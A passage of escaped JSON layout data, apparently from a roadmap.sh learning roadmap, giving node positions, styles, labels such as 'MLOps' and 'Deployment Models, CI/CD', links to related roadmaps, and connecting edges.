\"style\": {\n        \"width\": 21,\n        \"height\": 188\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 188\n      }\n    },\n    {\n      \"id\": \"C85MXDnb-d0eVur0DLGr-\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 242.89029212267985,\n        \"y\": 1925.5843010493045\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"oldId\": \"q_oYxEPUvEylwjAyDA5FL\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 88,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 242.89029212267985,\n        \"y\": 1925.5843010493045\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 88,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 88,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"Sehg_WX_mnMCRlKrvwWzc\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 339.89029212267985,\n        \"y\": 1918.0843010493045\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"8\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#0062ff\"\n        },\n        \"oldId\": \"wOqfPAZ24GxUrkxVRRyT5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 27,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 339.89029212267985,\n        \"y\": 1918.0843010493045\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 27,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Qa85hEVe2kz62k9Pj4QCA\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 369.89029212267985,\n        \"y\": 1911.5843010493045\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MLOps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kBdt_t2SvVsY3blfubWIz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 369.89029212267985,\n        \"y\": 1911.5843010493045\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bsj2IHFXur-qqDSI4B1wg\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 287,\n        \"y\": 2017.0843010493045\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MLOps Specialization\",\n        \"href\": \"https://imp.i384100.net/nLA5mx\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Courses\",\n        \"oldId\": \"bdAl2ne0fsE1R02wWdIK9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 452,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 287,\n        \"y\": 2017.0843010493045\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 452,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 452,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uPzzUpI0--7OWDfNeBIjt\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": 259.89029212267985,\n        \"y\": 1979.0843010493045\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Deployment Models, CI/CD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"eOFoGKveaHaBm_6ppJUtA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 536,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": 259.89029212267985,\n        \"y\": 1979.0843010493045\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 536,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 536,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"rKb8lqYH0GC_6R5qybzzM\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 760,\n        \"y\": 1935\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"FsU7_B1LCULtlVQg7gEPR\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 217,\n      \"positionAbsolute\": {\n        \"x\": 760,\n        \"y\": 1935\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 217\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 217\n      }\n    },\n    {\n      \"id\": \"q_oYxEPUvEylwjAyDA5FL\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 277.39029212267985,\n        \"y\": 2142\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"oldId\": \"ofcYD3hTVEMeRptkHsVer\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 494,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 277.39029212267985,\n        \"y\": 2142\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 494,\n        \"height\": 20\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 494,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"jVVrvW1PCXEKz5IfJMXKo\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 269.89029212267985,\n        \"y\": 2152\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"rKb8lqYH0GC_6R5qybzzM\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 75,\n      \"positionAbsolute\": {\n        \"x\": 269.89029212267985,\n        \"y\": 2152\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 75\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 75\n      }\n    },\n    {\n      \"id\": \"kpF15oUmlUmk1qVGEBB7Y\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 443.3036441730079,\n        \"y\": -71.532769530855\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 443.3036441730079,\n        \"y\": -71.532769530855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 456.50701858580805,\n        \"y\": 10.452793886890277\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 456.50701858580805,\n        \"y\": 10.452793886890277\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qnjDifLlSYoxWd5GmuQXd\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": 114.89029212267985,\n        \"y\": -67.532769530855\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"oCNdisgny3h7CDadCWgrB\",\n            \"label\": \"Data Analyst Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/data-analyst\"\n          },\n          {\n            \"id\": \"er-sR9U12wJjHnEtvzYEg\",\n            \"label\": \"Prompt Engineering Roadmap\",\n            \"url\": \"https://roadmap.sh/prompt-engineering\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 139,\n      \"positionAbsolute\": {\n        \"x\": 114.89029212267985,\n        \"y\": -67.532769530855\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 139\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 139\n      }\n    },\n    {\n      \"id\": \"0bn7U-9YoeOqPXTnrMpfz\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -287,\n        \"y\": 1875.0843010493045\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"V\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"FGJcnSeI5Fgn2bxfY9DEd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 29,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -287,\n        \"y\": 1875.0843010493045\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 29,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"13tRO2lYWb0m8LwjAcdIY\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -287,\n        \"y\": 1999.8462240428494\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"V\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"FGJcnSeI5Fgn2bxfY9DEd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 29,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -287,\n        \"y\": 1999.8462240428494\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 29,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"uBSNhZB4PuEKY1bkzoZGG\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 41.890292122679824,\n        \"y\": 1167\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \">\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"Xd_mdvQdbCWcucpSTcDz1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 35,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 41.890292122679824,\n        \"y\": 1167\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 35,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"-5YUJmODVX62RchBu-G0y\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 621.8902921226799,\n        \"y\": 1258.7340815556822\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \">\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"Xd_mdvQdbCWcucpSTcDz1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 35,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 621.8902921226799,\n        \"y\": 1258.7340815556822\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 35,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"wt-ifu9mv7Ydc_-Gaqv-V\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 609.3902921226799,\n        \"y\": 1543.72719179845\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"<\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"SG6DkcQM4NdgTSu2MR8Q5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 34,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 609.3902921226799,\n        \"y\": 1543.72719179845\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 34,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"93tag4KlRPagkbdpY4lVT\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 768.5,\n        \"y\": 1383.2347754827133\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"V\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"qRxvTDjpoW1GuQ771syXb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 32,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 768.5,\n        \"y\": 1383.2347754827133\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 32,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"DEW_GsNVEf75P63SvEQwB\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 223.89029212267985,\n        \"y\": 1543.72719179845\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"<\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"SG6DkcQM4NdgTSu2MR8Q5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 34,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 223.89029212267985,\n        \"y\": 1543.72719179845\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 34,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"nAi-ndQiOiYCuAMqtDZ1I\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 106.89029212267982,\n        \"y\": 1746.1289204774196\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"<\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"SG6DkcQM4NdgTSu2MR8Q5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 34,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 106.89029212267982,\n        \"y\": 1746.1289204774196\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 34,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"ftUWZ9y0YFc4geCEaCEAq\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 561.8902921226799,\n        \"y\": 1917.5843010493045\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \">\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"Xd_mdvQdbCWcucpSTcDz1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 35,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 561.8902921226799,\n        \"y\": 1917.5843010493045\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 35,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"SG6DkcQM4NdgTSu2MR8Q5\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 509.89029212267985,\n        \"y\": 2134\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"<\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"YT5_iofe0kQ-wVjd54RT8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 34,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 509.89029212267985,\n        \"y\": 2134\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 34,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"FGJcnSeI5Fgn2bxfY9DEd\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 754,\n        \"y\": 2035.8462240428494\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"V\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"Jsyv0X1BPlP0Vi_oklxHA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 29,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 754,\n        \"y\": 2035.8462240428494\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 29,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"PV5ACkfJLhJOUZ2qnobhZ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 27.24550250885048,\n        \"y\": 2104\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \">\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"Xd_mdvQdbCWcucpSTcDz1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 35,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 27.24550250885048,\n        \"y\": 2104\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 35,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Xd_mdvQdbCWcucpSTcDz1\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -164.75449749114966,\n        \"y\": 2104\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \">\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"color\": \"#0062FF\"\n        },\n        \"oldId\": \"WmbvaP_zRGs_WhYK30YqM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 35,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -164.75449749114966,\n        \"y\": 2104\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 35,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Ju00mr0KLGN2BV6yEQGPt\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 272,\n        \"y\": 2284.5820625712176\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 55,\n      \"positionAbsolute\": {\n        \"x\": 272,\n        \"y\": 2284.5820625712176\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 55\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 55\n      }\n    },\n    {\n      \"id\": \"IDGTOlC_h3rt_3ZF4x8bG\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 205.39029212267985,\n        \"y\": 2236.300845579272\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Keep Learning\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 20\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 205.39029212267985,\n        \"y\": 2236.300845579272\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 36\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3oInpqvTSSC5_K6i7j8N7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"HNVw8OboycWKLEtEbG2bn\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"auB7Png72XjmhcLr3IJA7\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"2aoDIr80lXSJLW1hIGUkb\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NMznG9mo2wzNFnjhg990f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-_y7nLeYFkUKGiacxWA0\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gc_7cuIO2_joKlQRAPDfX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"G7pXuJfkyt2nWAOHU8yV0\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rrrvATyhXqRgJGWI3z0WF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2_6Yz3-Agx9_rEN5xW86c\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"1AJv95mTLpR7L8KBoGym8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kgMI98fg2-mKMgUs0wnjD\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0etAs56EeBfh_0IlAaSra\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"ts38Q2ceHs60TJscUBZVE\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h6ceO0kiBIxNRkPzN3hBY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ZiMV7umyPdhy3JJDcopR-\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_JlT9oKQ6Yu4UX6l19G8P\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"WI-MhbxrehFcVwyGJ5CQJ\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": 